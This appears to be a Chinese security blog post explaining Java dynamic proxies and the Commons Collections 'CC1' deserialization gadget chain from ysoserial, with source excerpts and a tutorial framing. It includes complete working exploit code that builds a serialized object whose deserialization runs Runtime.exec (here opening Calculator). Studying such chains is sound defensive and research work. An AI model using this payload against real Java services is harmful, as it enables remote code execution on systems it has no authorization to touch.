0
点赞
收藏
分享

微信扫一扫

[JAVA反序列化]Javacc链1分析

四月天2021 2022-12-14 阅读 97


文章目录

  • ​​写在前面​​
  • ​​动态代理​​
  • ​​简单介绍​​
  • ​​动态代理的实现​​
  • ​​JavaCC链1分析​​
  • ​​参考文章​​

写在前面

这几天算是好好一边审计PHP的一些CMS一边啃Java的代码,终于能看懂CC链1的构造流程了

动态代理

简单介绍

在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建​​interface​​​的实例,直接从demo来理解
首先我们来个通常写代码的方式
我们先来一个一个接口,本CTF狗来个Flag吧

interface flag {
void getFlag();
}

接下来实现这个接口

class giveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

来测试一波,完整组合

import java.lang.String;
public class demo1 {

public static void main(String[] args) throws Exception {
GiveFlag giveFlag = new GiveFlag();
giveFlag.getFlag();
}
}


interface flag {
void getFlag();
}

class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

动态代理的实现

我们通过动态代理来做一个劫持玩玩,不玩最简单的

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;

public class demo1 {

public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("getFlag")) {
System.out.println("就这?");
}
return null;
}
};
flag getFlag = (flag) Proxy.newProxyInstance(
GiveFlag.class.getClassLoader(),
new Class[] { flag.class },
handler);
getFlag.getFlag();
}
}


interface flag {
void getFlag();
}

class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

最后输出了​​就这?​

JavaCC链1分析

这个链子的流程是(来自ysoserial)

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

首先给出这个链子的实现,来自P神大师傅!!!

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"open /Applications/Calculator.app"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

首先触发点和之前很像,我们知道是通过对decorate修饰后的在添加新的元素的时候,可以执行一个回调;
Lazymap在其get方法当中执行​​​factory.transform​​​,在get找不到值的时候,会调用​​factory.transform​​去获取一个值

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

为了能调用这个方法,我们走AnnotationInvocationHandler中的invoke方法,在default分支

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

能看到上面​​Object var6 = this.memberValues.get(var4);​​​,因此要劫持内部调用就需要使用​​java.reflect.proxy​​​,上面已经说过了,如果我们把​​AnnotationInvocationHandler​​​做代理,那么在​​readObject​​​时,只要调用任意方法,就会进入​​AnnotationInvocationHandler​​​的​​invoke​​​方法,之后触发​​lazymap​​​的​​get​​​方法,而这个​​AnnotationInvocationHandler​​​实现了​​InvocationHandler​​,因此我们就更可以放心大胆的飞了!!

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

在这以后对象里面的​​memberValues​​​就成功变成了我们的​​LazyMap​​​,
之前上一篇文章也说过,我们将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用​​​LazyMap​​​的decorate包装,在触发lazymap的get方法后执行整个“回调”过程,整个链子的思路就很清晰啦!
然而我们最终的proxyMap也并不能直接对其序列化,毕竟他也没有readobject不能操作了,因此我再用​​​sun.reflect.annotation.AnnotationInvocationHandler​​对其进行包装一波,完美实现!!!庆祝🎉太难了好几天了终于琢磨透了


举报

相关推荐

0 条评论